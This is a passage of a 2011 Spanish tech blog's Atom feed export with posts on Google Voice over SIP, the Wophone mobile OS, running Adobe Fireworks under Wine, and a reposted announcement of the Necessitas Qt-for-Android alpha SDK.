conlleva) configurando nuestro teléfono o programa con los datos de &lt;code&gt;NUMEROTELEFONO@sip.voice.google.com&lt;/code&gt;.&lt;br /&gt;Aún estamos esperando que en España se instaure éste servicio y que otro como &lt;a href="http://bitelia.com/tag/fonyou"&gt;FonYou&lt;/a&gt; lo implementen para poder tener una real competencia en este campo que, parece, por ahora nadie quiere reclamar como suyo.&lt;br /&gt;&lt;br /&gt;Fuente: &lt;a href="http://bitelia.com/2011/03/llamadas-a-google-voice-a-traves-de-sip"&gt;bitelia&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-8577661266752564667?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/8577661266752564667/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/03/llamadas-google-voice-traves-de-sip.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8577661266752564667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8577661266752564667'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/03/llamadas-google-voice-traves-de-sip.html' title='Llamadas a Google Voice a través de SIP'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-54223799428058514</id><published>2011-03-08T08:33:00.000-08:00</published><updated>2011-03-08T08:33:46.822-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='smartphone'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Wophone, sistema operativo chino basado en Linux 2.6</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.fimagenes.com/i/3/8/31/412_507108_4485558_591873.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="145" src="http://2.fimagenes.com/i/3/8/31/412_507108_4485558_591873.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Cuando creíamos que la lucha por el mercado de los sistemas operativos para móviles iba a estar entre &lt;strong&gt;Android&lt;/strong&gt;, &lt;strong&gt;iOS &lt;/strong&gt;y &lt;strong&gt;Windows Mobile&lt;/strong&gt; aparece un nuevo jugador de fabricación china que luchará por hacerse un hueco en el mercado.&lt;br /&gt;&lt;br /&gt;La operadora de telefonía &lt;strong&gt;China &lt;/strong&gt;&lt;a href="http://www.chinaunicom.com.hk/en/home/default.html" rel="nofollow" target="_blank"&gt;Unicom&lt;/a&gt;, una de las tres más grandes del país, ha anunciado un nuevo sistema operativo para &lt;strong&gt;móviles &lt;/strong&gt;que también soportará &lt;strong&gt;tabletas&lt;/strong&gt;, &lt;strong&gt;videoconsolas &lt;/strong&gt;y &lt;strong&gt;televisores &lt;/strong&gt;cubriendo un amplio abanico de dispositivos del mercado y compitiendo claramente con los sistemas operativos actuales.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Wophone &lt;/strong&gt;ya se está implementando en algunos terminales de conocidas marcas como &lt;strong&gt;Samsung&lt;/strong&gt;, &lt;strong&gt;HTC&lt;/strong&gt;, &lt;strong&gt;Motorola&lt;/strong&gt; o &lt;strong&gt;Huawei &lt;/strong&gt;y han anunciado que durante &lt;strong&gt;2011 &lt;/strong&gt;saldrán a la venta así que la lucha en el mercado Chino ya ha comenzado.&lt;br /&gt;&lt;br /&gt;A finales del año pasado, &lt;strong&gt;China Unicom&lt;/strong&gt; lanzó &lt;a href="http://blogs.wsj.com/chinarealtime/2010/11/12/china-unicom-launches-%E2%80%9Cwostore%E2%80%9D/" rel="nofollow" target="_blank"&gt;WoStore&lt;/a&gt;, una tienda de aplicaciones móviles, que dijo apoyará "todas las plataformas abiertas de smartphone".&lt;br /&gt;&lt;br /&gt;La compañía china ya tiene algo de terreno ganado, ya que en Enero tenía casi &lt;strong&gt;170 millones&lt;/strong&gt; de suscriptores móviles, de los cuales, casi &lt;strong&gt;16 millones&lt;/strong&gt; son clientes con &lt;strong&gt;3G&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Fuente: &lt;a href="http://tecnologia.facilisimo.com/blogs/moviles/otros/wophone-sistema-operativo-chino-basado-en-linux-2-6-con-soporte-multiterminal_630468.html"&gt;tecnología&lt;/a&gt;.facilisimo&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-54223799428058514?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/54223799428058514/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/03/wophone-sistema-operativo-chino-basado.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/54223799428058514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/54223799428058514'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/03/wophone-sistema-operativo-chino-basado.html' title='Wophone, sistema operativo chino basado en Linux 2.6'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-8286264427856930884</id><published>2011-02-28T09:02:00.000-08:00</published><updated>2011-02-28T09:02:39.567-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fireworks en linux'/><title type='text'>Adobe Fireworks for Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_ZMPdgwbMdE4/S3hVeWpxiPI/AAAAAAAAAAk/DG_gBa4lERc/s320/adobe-fireworks-cs4_zacharymoshansky.blospot.com.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_ZMPdgwbMdE4/S3hVeWpxiPI/AAAAAAAAAAk/DG_gBa4lERc/s320/adobe-fireworks-cs4_zacharymoshansky.blospot.com.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;¿Qué es Adobe Fireworks? &lt;br /&gt;Fireworks CS3 es una herramienta de diseño fácil de usar. Crear y editar imágenes vectoriales así como imágenes de mapa de bits (.bmp). Los cambios se pueden modificar en cualquier momento, y el resultado final puede ser optimizado para algunas resoluciones de pantalla en específico.&lt;br /&gt;&lt;span&gt;Trabaje  más rápido con mejoras de rendimiento significativas, incluyendo un  mayor control sobre la ubicación del píxel de elementos de diseño, apertura y guadrado de archivos mejorado, actualizado operación símbolo, y  más rápido de mapa de bits y operaciones de vectores.&lt;/span&gt;&lt;br /&gt;Si usted está acostumbrado a usar Adobe Fireworks en el sistema operativo Windows, ahora bien lo puede hacer bajo el ambiente Linux con el uso de la aplicación wine, bajo la instrucción:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$wine fireworks.exe&lt;/div&gt;Los prerrequisitos son precisamente &lt;b&gt;wine&lt;/b&gt;, descargable desde &lt;a href="http://www.winehq.org/download"&gt;aquí.&lt;/a&gt;&lt;br /&gt;En tanto que &lt;b&gt;Adobe Fireworks CS3&lt;/b&gt; puede descargarlo desde &lt;a href="http://www.megaupload.com/?d=ZIHD8DCX"&gt;aquí.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Fuente Original: &lt;a href="http://tips-linux.net/"&gt;tips-linux.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-8286264427856930884?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/8286264427856930884/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/adobe-fireworks-for-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8286264427856930884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8286264427856930884'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/adobe-fireworks-for-linux.html' title='Adobe Fireworks for Linux'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ZMPdgwbMdE4/S3hVeWpxiPI/AAAAAAAAAAk/DG_gBa4lERc/s72-c/adobe-fireworks-cs4_zacharymoshansky.blospot.com.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-344586834864500326</id><published>2011-02-22T08:58:00.000-08:00</published><updated>2011-02-22T08:58:23.651-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='qt'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>QT for Android</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.forum.nokia.com/piazza/wiki/images/thumb/9/95/Porting-android-to-qt.png/300px-Porting-android-to-qt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.forum.nokia.com/piazza/wiki/images/thumb/9/95/Porting-android-to-qt.png/300px-Porting-android-to-qt.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Thanks to "Linux Magazine en Español" for sharing this link about this new framework named "Necessitas", this framework will allow us to deploy QT applications into Android platforms but unfortunately it's an Alpha phase, so it's not suggested to start developing.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Original text can be found &lt;a href="http://groups.google.com/group/android-qt/msg/c0124fc26abdd8fe?pli=1"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;I had a dream that one day, I'll be able to deploy existing Qt &lt;br /&gt;software on any Android platform. &lt;br /&gt;I had a dream that one day, all Qt applications will use system wide &lt;br /&gt;shared Qt libraries. &lt;br /&gt;I had a dream that one day, all Qt applications once compiled and &lt;br /&gt;deployed to one android platform, will run on any other newer android &lt;br /&gt;platform and will last for years without any recompilation. &lt;br /&gt;I had a dream that one day, I'll be able to create, manage, compile &lt;br /&gt;debug and deploy Qt apps using a first class citizen IDE. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Now, those dreams become reality. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Ladies and Gentlemen I have the honor and the privilege to announce &lt;br /&gt;the immediate availability of *NECESSITAS* suite. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;What does „ncecessitas” mean and what is it? &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;Necessitas is a latin word (Roman goddess of necessity) and it means: &lt;br /&gt;necessity. It has more profound and powerful meanings, please check: &lt;br /&gt;&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://www.whiterosesgarden.com/deities/DTY_Roman/necessitas.htm" rel="nofollow" target="_blank"&gt;http://www.whiterosesgarden.com/deities/DTY_Roman/necessitas.htm&lt;/a&gt; &lt;/span&gt;&lt;span style="font-size: small;"&gt; and &lt;br /&gt;you'll understand what I mean :). Why don’t I &amp;nbsp;use "Qt" and/or &lt;br /&gt;"Android" words? Because Nokia "recommended" me NOT to use "Qt", &lt;br /&gt;because more than 4 weeks ago I sent a mail to Google about "android" &lt;br /&gt;word and I get didn’t get an answer until now. Why latin? I don't &lt;br /&gt;know, maybe because I'm a latin :) &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;I also bought a domain name for this project it's called &lt;br /&gt;"licentia.eu", yes another latin word :) (http:// &lt;br /&gt;catholic.archives.nd.edu/cgi-bin/lookit.pl?latin=licentia), it means &lt;br /&gt;freedom, liberty. I choosed licentia.eu as domain name and necessitas &lt;br /&gt;as a subdomain because I don't want to stop here :). &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Necessitas is a Qt suite for Android platform containing the following &lt;br /&gt;components: &lt;br /&gt;&amp;nbsp;- Ministro (&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://www.archives.nd.edu/cgi-bin/lookit.pl%3F" rel="nofollow" target="_blank"&gt;http://www.archives.nd.edu/cgi-bin/lookit.pl?&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;latin=ministro) is a system wide qt libraries installer/provider (you &lt;br /&gt;can download the latest version from &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/projects/ministro.necessitas.p/files" rel="nofollow" target="_blank"&gt;http://sourceforge.net/projects/ministro.necessitas.p/files&lt;/a&gt;). &lt;br /&gt;&amp;nbsp;- Qt framework. &lt;br /&gt;&amp;nbsp;- Qt Creator for Android. (you cand download the package from &lt;br /&gt;&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/projects/necessitas/files" rel="nofollow" target="_blank"&gt;http://sourceforge.net/projects/necessitas/files&lt;/a&gt; &lt;/span&gt;&lt;span style="font-size: small;"&gt;). For a seamless &lt;br /&gt;debugging exepience I recommend you to replace official gdb with a &lt;br /&gt;newer one from: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://code.google.com/p/android-lighthouse/downloads/detail%3Fname%3Dgdb.tar.bz2%26can%3D2%26q%3D" rel="nofollow" target="_blank"&gt;http://code.google.com/p/android-lighthouse/downloads/detail?name=gdb...&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Thanks to Damien Buhl, you can find high quality documentation at &lt;br /&gt;&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/p/necessitas/wiki/Home/" rel="nofollow" target="_blank"&gt;http://sourceforge.net/p/necessitas/wiki/Home/&lt;/a&gt; &lt;/span&gt;&lt;span style="font-size: small;"&gt;. Thank you again &lt;br /&gt;fellow, without your help this release would not have been possible. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Before we get further I want to be crystal clear: This is an ALPHA &lt;br /&gt;release! Is not meant to be used in production, PLEASE don't deploy &lt;br /&gt;apps on Android Market because THE API IS NOT STABLE, please wait &lt;br /&gt;until Nokia (or us) will ship at least a beta version! I deployed a qt &lt;br /&gt;example (Animatedtiles) to Android Market ONLY to test Ministro &lt;br /&gt;package promise, but it will be removed soon. &lt;br /&gt;So, why this release is that important? &lt;br /&gt;IMHO, for this project, this is the MOST important release ever, why? &lt;br /&gt;Because now I'll put in your hands all the tools you need to begin &lt;br /&gt;hacking on this project, and also to begin working on your apps, &lt;br /&gt;because now, I hope, all the skeptic folks out there, will see the &lt;br /&gt;potential of this project and will join us. Because Qt API is not &lt;br /&gt;frozen yet, and if we need to add some API to Qt framework, now we &lt;br /&gt;have a good chance to push them to upstream Qt. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Also I want to make clear one more thing, this project is community &lt;br /&gt;work, Nokia and/or Google are not involved directly (yet, I hope :P )! &lt;br /&gt;Also, I'm very grateful to Google because they made a wonderful truly &lt;br /&gt;*free* O.S., I'm very grateful to Google because they have open minds &lt;br /&gt;and they allowed this to happen, I'm very grateful to Trolltech and &lt;br /&gt;Nokia because they made the best C++ framework ever: Qt framework, I'm &lt;br /&gt;very grateful to Trolltech and Nokia because they made a first class &lt;br /&gt;IDE for that framework. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Now the boring technical part: &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;What is done: &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Ministro: &lt;br /&gt;&amp;nbsp;It was the most critical missing piece of this project, without it &lt;br /&gt;this project is almost worthless, this installer/provider is the &lt;br /&gt;guarantee that all your apps will run on ALL android platforms WITHOUT &lt;br /&gt;any modification! (ok, you also can compile qt statically (or worst &lt;br /&gt;put all qt libs into your apk) but your application will target only &lt;br /&gt;one andriod platform). &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;How it works: &lt;br /&gt;&amp;nbsp;- when your application starts, it searches for Ministro service, if &lt;br /&gt;the service is not installed, your applications will open the android &lt;br /&gt;market and request user to install it (it also starts the search for &lt;br /&gt;the user). &lt;br /&gt;&amp;nbsp;- (after the service is installed) the application connects to &lt;br /&gt;Ministro service, it &amp;nbsp;gives a list of qtmodules and waits &lt;br /&gt;(patiently :) ) for Ministro's callback. &lt;br /&gt;&amp;nbsp;- Ministro downloads all necessary libraries (only if they are &lt;br /&gt;missing), and callbacks the application and gives it a list with all &lt;br /&gt;necessary libraries to run. &lt;br /&gt;&amp;nbsp;- the application loads all libraries provided by Ministro service &lt;br /&gt;and finally it starts. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Known issues: &lt;br /&gt;Sometime it receives corrupt data from the server (I didn't had enough &lt;br /&gt;time to investigate this problem, I just try to download it again). &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Qt Framework: &lt;br /&gt;&amp;nbsp;- Most of Qt framework is ported or in progress. This relase is &lt;br /&gt;shipped only with "sw" platform plugin. &lt;br /&gt;&amp;nbsp;"sw" - comes from SingleWindow, this plugin uses only one Android &lt;br /&gt;native window to draw all qt top level windows (IT DOESN'T mean you &lt;br /&gt;can't have more then one top level window in Qt, like dialogs, menus, &lt;br /&gt;combo-boxes, etc. ). Actually this plugins uses Nokia's framebuffer &lt;br /&gt;implementation (IMHO this is very good because we don't need to &lt;br /&gt;maintain our own plugin), I only made simple connections between &lt;br /&gt;Nokia's plugin and android system. The ONLY problem this plugin has, &lt;br /&gt;is that &amp;nbsp;it doesn't support hardware acceleration so no OpenGL. For &lt;br /&gt;OpenGL I need to resurrect "mw" plugins, I'll do it after sw plugin &lt;br /&gt;will be production stable. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;- The java part is cleanup and it provides only necessary &lt;br /&gt;implementation for sw plugin. &lt;br /&gt;"eu.licentia.necessitas.industius" (&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://catholic.archives.nd.edu/" rel="nofollow" target="_blank"&gt;http://catholic.archives.nd.edu/&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;cgi-bin/lookit.pl?latin=industius) is the package name for qt &lt;br /&gt;framework java part and probably &lt;br /&gt;"eu.licentia.necessitas.mobile" (&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://catholic.archives.nd.edu/cgi-" rel="nofollow" target="_blank"&gt;http://catholic.archives.nd.edu/cgi-&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;bin/lookit.pl?latin=mobile) will be for QtMobility part. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;(A lot of :) ) Known issues: &lt;br /&gt;&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://code.google.com/p/android-lighthouse/issues/list%3Fcan%3D2%26q%3D%26sort%3Dpriority%26colspec%3DID%2520Type%2520Status%2520Priority%2520Milestone%2520Owner%2520Summary" rel="nofollow" target="_blank"&gt;http://code.google.com/p/android-lighthouse/issues/list?can=2&amp;amp;q=&amp;amp;sort...&lt;/a&gt;&lt;/span&gt;  &lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Qt Creator for Android: &lt;br /&gt;I think the following five words will discribes perfectly what is it: &lt;br /&gt;Create, Manage, Compile, Deploy, Debug. &lt;br /&gt;There are a lot of things to tell you about Qt framework &amp;lt;--&amp;gt; Qt &lt;br /&gt;Creator integration, sadly my English is not good enough to do it, so &lt;br /&gt;I'll let this images to speak for me: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://blip.tv/file/4790125" rel="nofollow" target="_blank"&gt;http://blip.tv/file/4790125&lt;/a&gt; or &lt;br /&gt;if you prefere youtube: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://www.youtube.com/watch%3Fv%3DIMXUsfqUgYM" rel="nofollow" target="_blank"&gt;http://www.youtube.com/watch?v=IMXUsfqUgYM&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;(youtube video was speedup al little bit to fit in 15 minutes youtube &lt;br /&gt;restriction). &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Known issues: &lt;br /&gt;Sometime it hangs big time, it seems I've done something wrong &lt;br /&gt;there :) &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Necessitas SDK. &lt;br /&gt;Known issues: &lt;br /&gt;You must install it into /opt/necessitas folder. &lt;br /&gt;For some misterious reason, the uninstaller, doesn't remove the icon &lt;br /&gt;from your desktop. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Todo list for all projects: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/p/necessitas/wiki/Todo" rel="nofollow" target="_blank"&gt;http://sourceforge.net/p/necessitas/wiki/Todo&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Before I end this announce I'd like to thanks you all for your support &lt;br /&gt;and consideration. Also, I want to apologizes, because it took such a &lt;br /&gt;long time to release this SDK, but please understand that is very hard &lt;br /&gt;to do everything almost alone (and don't forget, I had to do it only &lt;br /&gt;in my free time, it doesn't mean I hate my job, I'm happy with my &lt;br /&gt;current job, with what I'm doing every day (even if is not directly &lt;br /&gt;related with qt, but keeps my brain in good shape), I'm proud to be &lt;br /&gt;part of a great top developers team). It is extremely hard to think to &lt;br /&gt;big things and also to be very carefull to the details, that’s why &lt;br /&gt;you'll probably find a lot of stupid bugs, I also apologize for that &lt;br /&gt;too. Also, I want to thank to all pure souls, who helped me with this &lt;br /&gt;release. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;I have a dream today, I have a dream that now, you'll be convinced by &lt;br /&gt;this project’s potential and you'll join us in this beautiful journey, &lt;br /&gt;and together, will finish this wonderful project. (Now it’s time for &lt;br /&gt;you to say: keep on dreaming, sonny, keep on dreaming :) ) &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Seriously, now you have to decide what you want to do: you want to buy &lt;br /&gt;Elot Savior bullshit about WP Nokia phones, and start learning a new &lt;br /&gt;language made in Micro$oft labs, and silly-light (oh, sorry, shitty- &lt;br /&gt;light, sorry again, one more try: silverlight, whew, is hard ..)API, &lt;br /&gt;with, God knows how many, hidden patents which they will use them to &lt;br /&gt;sue you, when they'll go down (see what happened with Google when they &lt;br /&gt;tried to used java)? Or you want to stay with the most advanced and &lt;br /&gt;free language and with the most advanced c++ framework and (soon) to &lt;br /&gt;target millions of real phones (this phones are in peoples hands, now, &lt;br /&gt;not in the Elot's dreams!), with the most used mobile O.S out there? &lt;br /&gt;It's your choice! &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;The most immportant links: &lt;br /&gt;New project page: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/p/necessitas/home/" rel="nofollow" target="_blank"&gt;http://sourceforge.net/p/necessitas/home/&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;Necessitas SDK: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/projects/necessitas/files/" rel="nofollow" target="_blank"&gt;http://sourceforge.net/projects/necessitas/files/&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;For a seamless debugging exepience don't forget to replace official &lt;br /&gt;gdb with a newer one from: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://code.google.com/p/android-lighthouse/downloads/detail%3Fname%3Dgdb.tar.bz2%26can%3D2%26q%3D" rel="nofollow" target="_blank"&gt;http://code.google.com/p/android-lighthouse/downloads/detail?name=gdb...&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;Thanks to Damien Buhl, you can join the documentation at &lt;br /&gt;&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/p/necessitas/wiki/Home/" rel="nofollow" target="_blank"&gt;http://sourceforge.net/p/necessitas/wiki/Home/&lt;/a&gt;&lt;/span&gt;  &lt;span style="font-size: small;"&gt;&lt;br /&gt;A small screencast showing you what we accomplished until now: &lt;br /&gt;&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://blip.tv/file/4790125" rel="nofollow" target="_blank"&gt;http://blip.tv/file/4790125&lt;/a&gt; &lt;/span&gt;&lt;span style="font-size: small;"&gt; or if you prefer youtube: &lt;br /&gt;&lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://www.youtube.com/watch%3Fv%3DIMXUsfqUgYM" rel="nofollow" target="_blank"&gt;http://www.youtube.com/watch?v=IMXUsfqUgYM&lt;/a&gt;&lt;/span&gt;  &lt;span style="font-size: small;"&gt;&lt;br /&gt;Todo list for all projects: &lt;a href="http://www.google.com/url?sa=D&amp;amp;q=http://sourceforge.net/p/necessitas/wiki/Todo" rel="nofollow" target="_blank"&gt;http://sourceforge.net/p/necessitas/wiki/Todo&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;I'd like to end this announce with some quotes (which I like very &lt;br /&gt;much): &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New 